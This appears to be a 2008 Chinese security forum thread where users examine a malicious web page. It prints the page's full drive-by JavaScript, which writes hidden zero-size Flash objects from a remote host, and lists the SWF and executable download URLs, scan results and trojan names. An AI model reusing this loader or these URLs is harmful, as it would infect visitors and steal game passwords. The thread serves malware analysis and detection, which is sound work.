md5：b4c2c079a 毒网

显示全部楼层 · 发表于 2008-5-29 20:59:57

刚才在网上浏览新闻时

费尔报警

大家来测试下

显示全部楼层 · 发表于 2008-5-29 21:02:10

<html>
<script>
window["onerror"]=function(){return true;}
function init(){window["status"]="";}window["onload"] = init;
if(window["document"]["cookie"]["indexOf"]("play=")==-1)
{
var nY_1=new window["Date"]();
nY_1["setTime"](nY_1["getTime"]()+24*60*60*1000);
window["document"]["cookie"]="play=Yes;path=/;expires="+nY_1["toGMTString"]();
if(navigator["userAgent"]["toLowerCase"]()["indexOf"]("msie")>0)
{
window["document"]["write"]('<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=4,0,19,0" width="0" height="0" align="middle">');
window["document"]["write"]('<param name="allowScriptAccess" value="sameDomain"/>');
window["document"]["write"]('<param name="movie" value="http://www.live322.cn/4561.swf"/>');
window["document"]["write"]('<param name="quality" value="high"/>');
window["document"]["write"]('<param name="bgcolor" value="#ffffff"/>');
window["document"]["write"]('<embed src=http://www.live322.cn/4561.swf"/>');
window["document"]["write"]('</object>');
}
else{window["document"]["write"]("<EMBED src=http://www.live322.cn/4562.swf width=0 height=0>");}
}
</script>
<script language="javascript" type="text/javascript" src="http://js.users.51.la/1660620.js"></script>
</html>

显示全部楼层 · 发表于 2008-5-29 21:02:11

a-squared	3.5.0.18	2008.05.28	2008-05-28	-	5.971
AntiVir	7.8.0.19	7.0.4.110	2008-05-29	-	21.817
Arcavir	1.0.4	200805281845	2008-05-28	-	9.808
AVAST	1.0.8	080529-0	2008-05-29	-	15.189
AVG	7.5.51.442	269.24.3/1472	2008-05-29	-	13.144
BitDefender	7.60825.1253377	7.19235	2008-05-29	-	29.320
CA (VET)	9.0.0.143	31.4.5832	2008-05-29	-	43.013
ClamAV	0.93	7283	2008-05-29	-	0.062
Comodo	2.11	2.0.0.538	2008-05-28	-	3.290
CP Secure	1.1.0.715	2008.05.29	2008-05-29	Troj.Exploit.JS.Agent.gen	33.054
Dr.WEB	4.44.0.9170	2008.05.29	2008-05-29	-	37.387
ewido	4.0.0.2	2008.05.28	2008-05-28	-	12.337
F-PROT	4.4.1.52	20080528	2008-05-28	-	11.824
F-SECURE	5.51.6100	2008.05.29.06	2008-05-29	-	23.604
IKARUS	T3.1.01.26	2008.05.29.70835	2008-05-29	-	10.826
Microsoft	1.3520	2008.05.29	2008-05-29	-	13.492
MKS_VIR	2.01	2008.05.28	2008-05-28	-	11.958
NORMAN	5.92.08	5.92.00	2008-05-28	-	27.317
nProtect	2008-05-29.00	1526572	2008-05-29	-	23.527
Prevx	V2	20080529	2008-05-29	-	20.954
QuickHeal	9.00	2008.05.28	2008-05-28	-	0.841
SOPHOS	2.74.1	4.30	2008-05-29	-	14.328
The Hacker	6.2.92	v00322	2008-05-28	-	10.496
VBA32	3.12.6.6	20080529.1009	2008-05-29	-	4.701
ViRobot	20080528	2008.05.28	2008-05-28	-	1.661
VirusBuster	4.3.19:9	9.130.7/11.0	2008-05-28	-	4.994
卡巴斯基	5.5.10	2008.05.29	2008-05-29	-	45.690
安博士V3	2008.05.29.02	2008.05.29	2008-05-29	-	3.020
江民杀毒	11.0.706	2008.05.28	2008-05-28	-	3.048
熊猫卫士	9.04.03.0001	2008.05.27	2008-05-27	-	17.748
瑞星	20.0	20.46.31.00	2008-05-29	-	2.944
赛门铁克	1.3.0.24	20080528.002	2008-05-28	-	0.192
趋势	8.700-1004	5.308.03	2008-05-28	-	0.000
迈克菲	5.2.00	5305	2008-05-28	-	15.567
金山毒霸	2008.1.14.15	2008.5.29.10	2008-05-29	-	2.801
飞塔	2.81-3.11	9.143	2008-05-29	-	3.478

显示全部楼层 · 发表于 2008-5-29 21:02:37

http://www.live322.cn/4561.swf
http://www.live322.cn/4562.swf

显示全部楼层 · 发表于 2008-5-29 21:10:49

很明显flash网马不过对124以前的版才有效

显示全部楼层 · 发表于 2008-5-29 21:16:44

http://www.live322.cn/test.exe

显示全部楼层 · 发表于 2008-5-29 21:19:18

Starting the file scan:

Begin scan in 'E:\AV\test.exe'
E:\AV\test.exe
[DETECTION] Is the Trojan horse TR/PSW.OnlineGames.ajyu.1
[NOTE] The file was deleted!

显示全部楼层 · 发表于 2008-5-29 21:28:47

瑞星病毒查杀结果报告

清除病毒种类列表：

病毒： Dropper.Win32.Agent.gcm

MAC 地址：00:11:5B:F3:6D:69

用户来源：互联网

软件版本：20.46.32

显示全部楼层 · 发表于 2008-5-29 21:29:43

TrojanPSW.OnLineGames.ajyu.swtx

显示全部楼层 · 发表于 2008-5-29 22:19:49

The file 'you[1].htm' has been determined to be 'MALWARE'. Our analysts named the threat JS.Dldr.Ag.3487. Detection will be added to our virus definition file (VDF) with one of the next updates. Please note that Avira's proactive heuristic detection module AHeAD detected this threat up front without the latest VDF update as: HEUR/HTML.Malware.

[病毒样本] md5：b4c2c079a 毒网

本帖子中包含更多资源

ESC后没发现什么！

回复 6楼冷冷的帖子

2/1

本帖子中包含更多资源

浏览过的版块

[病毒样本] md5：b4c2c079a 毒网

本帖子中包含更多资源

ESC后没发现什么！

回复 6楼 冷冷 的帖子

2/1

本帖子中包含更多资源

浏览过的版块

回复 6楼冷冷的帖子